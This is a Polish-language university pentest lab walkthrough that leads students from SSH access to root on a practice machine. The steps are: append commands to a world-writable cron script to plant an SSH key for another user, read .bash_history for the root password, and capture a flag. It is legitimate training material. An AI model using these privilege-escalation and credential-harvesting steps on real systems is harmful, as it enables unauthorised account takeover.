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Wstęp

Celem scenariusza jest zalogowanie się na maszynę 192.168.200.51, następnie
przeszukanie maszyny pod kątem błędnej konfiguracji i odczytanie pliku
/root/root.txt.
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Uruchamianie maszyn

Przed rozpoczęciem upewnij się, że maszyny
Linux Basics oraz Linux Basics PENTEST są włączone.
W każdej chwili możesz je przywrócić do stanu początkowego.
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Połączenie OpenVPN

Połączenie OpenVPN jest niezbędne do rozwiązania zadań. 
Aby połączyć się z siecią VPN, należy pobrać plik konfiguracyjny 
OpenVPN z rozwijanego menu „VPNy” na stronie głównej.
Następnie należy wykonać komendę:

sudo openvpn /sciezka/do/pliku.ovpn
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Legenda

cat /etc/passwd – komendę należy wykonać na maszynie Kali
cat /etc/passwd – komendę należy wykonać na maszynie Ćwiczenia
cat /etc/passwd – komendę należy wykonać na maszynie Pentest
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Zadanie 1.1p: SSH

Celem zadania jest zalogowanie się na maszynę PENTEST za pomocą SSH.
Uwaga! Maszyna PENTEST nie jest widoczna z poziomu VPN (Kali Linux).
Należy najpierw zalogować się na maszynę LINUX BASICS ĆWICZENIA
192.168.100.1, która posiada klucz publiczny umożliwiający na zalogowanie się
na maszynę PENTEST jako użytkownik pentest bez hasła.

ssh student@192.168.100.1 #wykonujemy na Kali, hasło: pjatk
ssh pentest@192.168.200.51 #wykonujemy na 192.168.100.1, bez hasła
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SSH

Zadanie 1.1p: SSH
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Zadanie 1.2p: Zadanie Cron

Celem zadania jest znalezienie zadania cron, które wykorzystuje plik z błędnymi
uprawnieniami, następnie dopisanie do tego pliku komend, które umożliwią
zdalne zalogowanie się jako użytkownik developer.

Przykład: skopiowanie autoryzowanego klucza publicznego do pliku
/home/developer/.ssh/authorized_keys umożliwi nam wylogowanie się
z użytkownika pentest i zalogowanie na użytkownika developer.

cat /etc/crontab
#* * * * * developer /home/developer/clean.sh oznacza, że skrypt clean.sh uruchomi się co minutę z uprawnieniami developer
ls -l /home/developer/clean.sh
#uprawnienia rwxrwxrwx oznaczają, że każdy może edytować ten plik
echo "mkdir /home/developer/.ssh" >> /home/developer/clean.sh
#dopisanie do pliku clean.sh komendy tworzącej katalog ~developer/.ssh
echo "echo $(cat /home/pentest/.ssh/authorized_keys) > /home/developer/.ssh/authorized_keys" >> /home/developer/clean.sh
#dopisane do pliku clean.sh tego samego klucza, którym zalogowaliśmy się na użytkownika pentest.
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Zadanie 1.2p: Zadanie Cron

Zadanie Cron

s27969 2025-03-08 14:35:53



13

PJA.EDU.PLPOLSKO-JAPOŃSKA AKADEMIA TECHNIK KOMPUTEROWYCHPODSTAWY LINUX | PENTEST

Zadanie 1.3p: Developer

Celem zadania jest zdalne zalogowanie się na użytkownika developer.
Zadanie cron z poprzedniego ćwiczenia uruchamia się co minutę.
Po upewnieniu się, że autoryzowany klucz został poprawnie przekopiowany,
możemy wylogować się z użytkownika pentest i połączyć się jeszcze raz jako
użytkownik developer:

cat /home/developer/.ssh/authorized_keys #upewniamy się, że cron zadziałał
exit #wracamy na maszynę 192.168.100.1
ssh developer@192.168.200.51 #logujemy się na developera
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Zadanie 1.3p: Developer

Developer
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Zadanie 1.4p: Historia Bash

Celem zadania jest odczytanie historii komend użytkownika developer, znalezienie 
hasła użytkownika root i zalogowanie się na niego:

cat /home/developer/.bash_history #w pliku znajdziemy hasło na roota
su #za pomocą su logujemy się na roota
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Zadanie 1.4p: Historia Bash

Historia Bash
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Zadanie 1.5p: Flaga Roota

Ostatnim krokiem jest odczytanie pliku /root/root.txt i przekopiowanie flagi 
do formularza na platformie:

cat /root/root.txt
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Zadanie 1.5p: Flaga Roota

Zadanie zostanie zaliczone przekopiowaniu flagi do formularza na platformie:

Flaga Roota
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